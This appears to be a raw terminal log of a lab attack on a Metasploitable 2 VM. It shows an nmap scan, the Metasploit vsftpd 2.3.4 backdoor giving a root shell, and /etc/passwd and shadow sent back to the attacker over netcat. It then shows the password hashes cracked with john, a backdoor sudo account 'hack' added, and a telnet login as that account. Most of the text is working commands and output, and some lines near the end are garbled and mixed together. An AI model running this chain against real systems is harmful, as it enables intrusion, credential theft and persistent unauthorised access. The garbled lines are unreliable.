

kali@kali:~\$ nmap -sP 10.0.2.0/23

Starting Nmap 7.80 (<https://nmap.org>) at 2020-03-31 17:13 EDT

Nmap scan report for 10.0.2.1

Host is up (0.00082s latency).

Nmap scan report for 10.0.2.7

Host is up (0.00028s latency).

Nmap scan report for 10.0.2.8

Host is up (0.00077s latency).

Nmap done: 512 IP addresses (3 hosts up) scanned in 3.84 seconds

kali@kali:~\$ ip a s

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000

link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

inet 127.0.0.1/8 scope host lo

valid_lft forever preferred_lft forever

inet6 ::1/128 scope host

valid_lft forever preferred_lft forever

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

link/ether 08:00:27:49:24:d3 brd ff:ff:ff:ff:ff:ff

inet 10.0.2.7/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0

valid_lft 368sec preferred_lft 368sec

inet6 fe80::a00:27ff:fe49:24d3/64 scope link noprefixroute

valid_lft forever preferred_lft forever

```
kali@kali:~$ sudo nmap -sS -sV 10.0.2.8
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-31 17:15 EDT
Nmap scan report for 10.0.2.8
Host is up (0.00013s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:15:39:B9 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
```

```
kali@kali:~$ msfconsole -q
[-] ***
[-] * WARNING: No database support: No database YAML file
[-] ***
```

```
msf5 > search vsftp
```

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Description
-	----	-----	----	-----	-----
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

```
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
--	----
0	Automatic

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 10.0.2.8
```

```
RHOST => 10.0.2.8
```

```
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 10.0.2.8:21 - Banner: 220 (vsFTPd 2.3.4)
```

```
[*] 10.0.2.8:21 - USER: 331 Please specify the password.
```

```
[+] 10.0.2.8:21 - Backdoor service has been spawned, handling...
```

```
[+] 10.0.2.8:21 - UID: uid=0(root) gid=0(root)
```

```
[*] Found shell.
```

```
[*] Command shell session 1 opened (10.0.2.7:42057 → 10.0.2.8:6200) at 2020-03-31 17:19:07 -0400
```

```
whoami
```

```
root
```



File Actions Edit View Help

kali@kali:~\$ nc -l -p 1234 > log.txt

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:/bin/sh

backup:x:34:34:backup:/var/backups:/bin/sh

list:x:38:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100:101::/var/lib/libuuid:/bin/sh

dhcp:x:101:102::/nonexistent:/bin/false

evlora:x:103:103::/home/evlora:/bin/false

```
cat log.txt | netcat -q 10 10.0.2.7 1234
rm -f log.txt
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
█
```

```
kali@kali:~$ nc -l -p 1234 > log.txt
```

```
kali@kali:~$ ls
```

```
crack.password.db Desktop Documents Downloads log.txt Music Pictures Public Templates Videos
```

```
kali@kali:~$ touch passwd
```

```
kali@kali:~$ touch shadow
```

```
kali@kali:~$ sudo unshadow passwd shadow > crack.password.db
```

```
kali@kali:~$ sudo john --format=md5crypt-long crack.password.db
```

```
sys:batman:3:3:sys:/dev:/bin/sh
```

```
klog:123456789:103:104::/home/klog:/bin/false
```

```
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
```

```
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
```

```
user:user:1001:1001:just a user,111,,,:/home/user:/bin/bash
```

```
service:service:1002:1002:,,,:/home/service:/bin/bash
```

```
maoxx241:maoxx241:1003:1003::/home/maoxx241:/bin/sh
```

```
maoxx241:$1$yk2wRQbY$qcw5HqUdF54.w42b3Zn2V0:18353:0:99999:7:::
```

```
7 password hashes cracked, 2 left HBR/:18353:0:99999:7:::
```


cat/etch/shadow/etch/passwd10g.tgz

```
useradd: hashed password stored using the selected hash type "md5crypt", but the
passwd: hash format="md5crypt-long" option to force
Enter new UNIX password: hack UTF-8
Retype new UNIX password: hack 9 different salts
passwd: password updated successfully 9 different salts
usermod -aG sudo hack, rules:Single
```

kali@kali:~\$ telnet 10.0.2.8

Trying 10.0.2.8 ...

Connected to 10.0.2.8.

Escape character is '^['.

metasploitable2

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: hack

Password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:

<http://help.ubuntu.com/>

No directory, logging in with HOME=/

hack@metasploitable:/\$